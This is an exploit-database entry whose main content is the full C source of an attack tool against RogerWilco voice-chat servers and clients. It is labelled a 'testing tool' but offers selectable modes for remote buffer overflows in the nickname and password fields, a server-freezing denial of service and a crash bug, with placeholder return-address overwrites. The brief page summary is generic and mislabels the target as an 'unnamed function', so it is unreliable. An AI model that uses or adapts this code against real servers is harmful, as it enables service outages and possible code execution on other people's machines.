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Suggest Exploit
vendor:
by:
Luigi Auriemma
5.5
CVSS
MEDIUM
Buffer Overflow
119
CWE
Product Name:
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: UNIX & WIN

Buffer Overflow in unnamed function

This exploit demonstrates a buffer overflow vulnerability in an unnamed function. It allows an attacker to overwrite memory beyond the bounds of the buffer, potentially leading to code execution or a crash. The exploit includes three different buffer overflow payloads of varying lengths.

Mitigation:

To mitigate this vulnerability, the application should validate user input and ensure that it does not exceed the bounds of the buffer. Additionally, the application should use safe string functions that automatically handle buffer length checking.
Source

Exploit-DB raw data:

/*

by Luigi Auriemma

Use -DWIN to compile it on Windows

UNIX & WIN VERSION

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif


#define VER "0.2"
#define PORT 3782
#define UDPORT 32230
#define BUFFSZ 4096
#define TIMEOUT 5
#define CHANNEL "channel"

/* 516 bytes */
#define BOFNICK \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"AAAA" /* EIP */

/* 33 bytes */
#define BOF2 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

/* 1022 bytes */
#define BOF3 \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"AAAA" /* EIP */

/* 1268 bytes */
#define PWDBOF \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"AAAA" /* EIP */

void rw_manage(int sock, u_char *ptr, int len);
void info_udp(char *hostname, u_short port);
void timeout(int sock);
u_char *create_pck(char *channel, char *password, char *nick, u_short *pcklen);
void show_dump(unsigned char *buff, unsigned int buffsz);
void showinfostring(unsigned char *buff, int size);
u_long resolv(char *host);
void std_err(void);

u_char bug = 0,
next = 0; /* 0 = tag, 1 = size, 2 = data */
u_short type = 0,
size = 0;

int main(int argc, char *argv[]) {
u_char *buff = 0,
*pcksend = 0,
info = 0,
autorejoin = 0;
char *channel = CHANNEL,
*nick = "",
*password = 0;
struct sockaddr_in peer;
int sd,
err,
i,
len;
u_short pcklen,
port = PORT;

setbuf(stdout, NULL);

fputs("\n"
"Testing tool for RogerWilco "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@pivx.com\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);


if(argc < 2) {
printf("\nUsage: %s [bugs] [options] <host>\n"
"\nBugs:\n"
"-1 Remote broadcast BoF in versions 2001 and BoF in 1.4.1.6 (*)\n"
"-2 DoS to freeze servers, versions 2001 and 1.4.1.6 (*)\n"
"-3 Server crash in version 1.4.1.6 (*)\n"
"-4 Buffer-overflow in versions 2001, 1.4.1.2 and 1.4.1.6(*)\n"
"-5 Server's buffer-overflow versus ALL the graphical clients included\n"
" the 1.4.1.6 ver and ALL the dedicated servers included the 0.30a\n"
" version. This bug affets EVERY server also if you don't know its\n"
" password (you must not set the channel to overwrite the return\n"
" address with my default value AAAA)\n"
"Options:\n"
"-n NICK Chose your nickname (default invisible mode)\n"
"-c CHAN Chose the channel to join (default \""CHANNEL"\")\n"
"-w PASS Chose the password for joining the chat (default none)\n"
"-p PORT Server port to connect to (default 3782) (default info-port 32230)\n"
"-a Autorejoin immediately if kicked\n"
"-i Retrieve info from the remote server using UDP (if not hidden)\n"
"\n\n"
"(*) These bugs affect the graphical server (not the dedicated server) and if\n"
" the server is dedicated, all the clients connected are vulnerable\n"
" This exploit, without using any of these bugs'options, runs like a sniffer\n"
" and shows you some useful informations\n"
"\n", argv[0]);
exit(1);
}


argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case '1':
case '2':
case '3':
case '4':
case '5': bug = argv[i][1] - 0x30; break;
case 'n': nick = argv[++i]; break;
case 'c': channel = argv[++i]; break;
case 'w': password = argv[++i]; break;
case 'p': port = atoi(argv[++i]); break;
case 'a': autorejoin = 1; break;
case 'i': info = 1; break;
default: {
printf("\nError: wrong argument (%s)\n", argv[i]);
exit(1);
}
}
}

#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(info) {
if(port == PORT) port = UDPORT;
info_udp(argv[argc], port);
return(0);
}

printf("\n"
"Nickname: %s\n"
"Channel: %s\n"
"\n", nick, channel);

peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

buff = malloc(BUFFSZ + 1);
if(!buff) std_err();


/* AUTOREJOIN */
while(1) {

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();


printf("\nConnecting to %s:%hu\n",
inet_ntoa(peer.sin_addr),
htons(peer.sin_port));

err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();


/* BUG 5 */
if(bug == 5) password = PWDBOF;

pcksend = create_pck(channel, password, nick, &pcklen);
err = send(sd, pcksend, pcklen, 0);
if(err < 0) std_err();

next = 0;
while(1) {
len = recv(sd, buff, BUFFSZ, 0);
if(len < 0) std_err();
if(!len) {
fputs("\nError: Connection lost\n", stdout);
break;
}

rw_manage(sd, buff, len);
}

close(sd);

if(!autorejoin) break;
}

return(0);
}

void rw_manage(int sock, u_char *ptr, int len) {
int err;
u_long ip;
u_short port;


while(len > 0) { /* while */

switch(next) {
/* 0 */ case 0: {
type = *(u_short *)ptr;
next = 0;
switch(type) {
case 0x030f: {
fputs("You have been kicked out\n", stdout);
} break;
case 0x060f: {
fputs("The channel you want to join doesn't exist!\n", stdout);
} break;
case 0x070f: {
fputs("The channel requires a password or your password is wrong\n", stdout);
} break;
case 0x140f: {
err = send(sock, "\x0f\x14", 2, 0);
if(err < 0) std_err();
} break;
case 0x150f: {
err = send(sock, "\x0f\x15", 2, 0);
if(err < 0) std_err();
} break;
default: next = 1; break;
}
ptr += 2;
len -= 2;
} break; 
/* 1 */ case 1: {
size = htons(*(u_short *)ptr);
next = 2;
ptr += 2;
len -= 2;
} break;
/* 2 */ case 2: {
switch(type) {
case 0x020f: {
printf("You have ID %hu\n", htons(*(u_short *)ptr));
} break;
case 0x0a0f: {
printf("User with ID %hu is entered\n", htons(*(u_short *)ptr));
} break;
case 0x0b0f: {
printf("User with ID %hu is exited\n", htons(*(u_short *)ptr));
} break;
case 0x0c0f: {
err = size - 2;
printf("User with ID %hu has name: ", htons(*(u_short *)ptr));
fwrite(ptr + 2, err, 1, stdout);
fputc('\n', stdout);
} break;
case 0x0d0f:
case 0x0e0f: {
/* BOH???
printf("%hu - %d\n",
htons(*(u_short *)ptr), htonl(*(u_long *)(ptr + 2)));
*/
} break;
case 0x0f0f: {
ip = *(u_long *)(ptr + 2);
port = *(u_short *)(ptr + 6);
printf("Address of user with ID %hu is %s:%hu\n",
htons(*(u_short *)ptr),
inet_ntoa(*(struct in_addr *)&ip),
htons(port));
} break;
default: {
printf("--> Undefined type: %04x (hex dump follows)\n", type);
show_dump(ptr, size);
} break;
}
next = 0;
ptr += size;
len -= size;
} break;
}

} /* while */
}

void info_udp(char *hostname, u_short port) {
struct sockaddr_in peer;
int sd,
err,
peerlen;
u_char *buff;

peer.sin_addr.s_addr = resolv(hostname);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerlen = sizeof(peer);

printf("\nRetrieve information from: %s:%d\n\n",
inet_ntoa(peer.sin_addr), port);


sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();


err = sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, peerlen);
if(err < 0) std_err();

timeout(sd);


buff = malloc(BUFFSZ + 1);
if(!buff) std_err();

err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &peerlen);
if(err < 0) std_err();
buff[err] = 0x00;

showinfostring(buff, err);

close(sd);
free(buff);
}

u_char *create_pck(char *channel, char *password, char *nick, u_short *pcklen) {
static u_char *buff;
u_char *ptr;
u_short len,
tmp,
pwlen = 0,
chlen,
nicklen;

buff = malloc(BUFFSZ);
if(!buff) std_err();

ptr = buff;

chlen = strlen(channel) + 1;
if(password) pwlen = strlen(password);

len = chlen + pwlen + 12;
tmp = htons(len);

memcpy(ptr, "\x0f\x00", 2);
ptr += 2;
memcpy(ptr, &tmp, 2);
ptr += 2;

/* I dunno what the following 12 bytes are, but they work fine */
memcpy(ptr, "\x6A\xD6\x4C\x03\x96\xED\x3B\xE7\x88\xE2\xA9\x74", 12);
ptr += 12;
memcpy(ptr, channel, chlen);
ptr += chlen;

if(password) {
memcpy(ptr, password, pwlen);
ptr += pwlen;
}

memcpy(ptr, "\x0F\x10", 2);
ptr += 2;

switch(bug) {
case 1: nick = BOFNICK; break;
case 2: {
*pcklen = ptr - buff;
return(buff);
} break;
case 3: nick = BOF2; break;
case 4: nick = BOF3; break;
default: break;
}

nicklen = strlen(nick);
tmp = htons(nicklen);
memcpy(ptr, &tmp, 2);
ptr += 2;
memcpy(ptr, nick, nicklen);
ptr += nicklen;

memcpy(ptr,
"\x0F\x11"
"\x00\x04" "\x00\x00\x00\x02"
"\x0F\x12"
"\x00\x04" "\x00\x00\x00\x00", 16);

*pcklen = ptr - buff + 16;

return(buff);
}

void show_dump(unsigned char *buff, unsigned int buffsz) {
const char *hex = "0123456789abcdef";
unsigned char buffout[80],
*ptrout,
*ptr;
unsigned int num;
int i,
j,
rest;

num = buffsz >> 4; /* 16 caratteri */
rest = (buffsz - (num << 4));
ptr = buff;


for(i = 0; i < num; i++) {
ptrout = buffout;
for(j = 0; j < 16; j++) {
*ptrout++ = hex[*ptr >> 4];
*ptrout++ = hex[*ptr & 0xf];
*ptrout++ = 0x20;
*ptr++;
}
*ptrout++ = 0x20;
*ptrout++ = 0x20;

ptr -= 16;
for(j = 0; j < 16; j++) {
if(*ptr > 0x20) *ptrout = *ptr;
else *ptrout = '.';
ptr++;
ptrout++;
}
*ptrout++ = 0x0a;
*ptrout = 0x00;
fputs(buffout, stdout);
}

if(rest) {
ptrout = buffout;
for(j = 0; j < rest; j++) {
*ptrout++ = hex[*ptr >> 4];
*ptrout++ = hex[*ptr & 0xf];
*ptrout++ = 0x20;
*ptr++;
}

j = 50 - (ptrout - buffout);
memset(ptrout, 0x20, j);
ptrout += j;

ptr -= rest;
for(j = 0; j < rest; j++) {
if(*ptr > 0x20) *ptrout = *ptr;
else *ptrout = '.';
ptr++;
ptrout++;
}
*ptrout++ = 0x0a;
*ptrout = 0x00;
fputs(buffout, stdout);
}
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n",
host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}

return(host_ip);
}

void timeout(int sock) {
struct timeval timeout;
fd_set fd_read;
int err;


timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;

FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
if(err < 0) std_err();
if(!err) {
fputs("\nError: Socket timeout, no answers received\n", stdout);
exit(1);
}
}

void showinfostring(unsigned char *buff, int size) {
int nt = 1;
// int len;
u_char *string;


// len = strlen(buff);
// if(len < size) buff += len + 1;

while(1) {
string = strchr(buff, '\\');
if(!string) break;

*string = 0x00;


/* \n or \t */
if(!nt) {
printf("%s: ", buff);
nt++;
} else {
printf("%s\n", buff);
nt = 0;
}


buff = string + 1;
}

printf("%s\n\n", buff);
}

#ifndef WIN
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

------------------------------ winerr.h ------------------------------
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}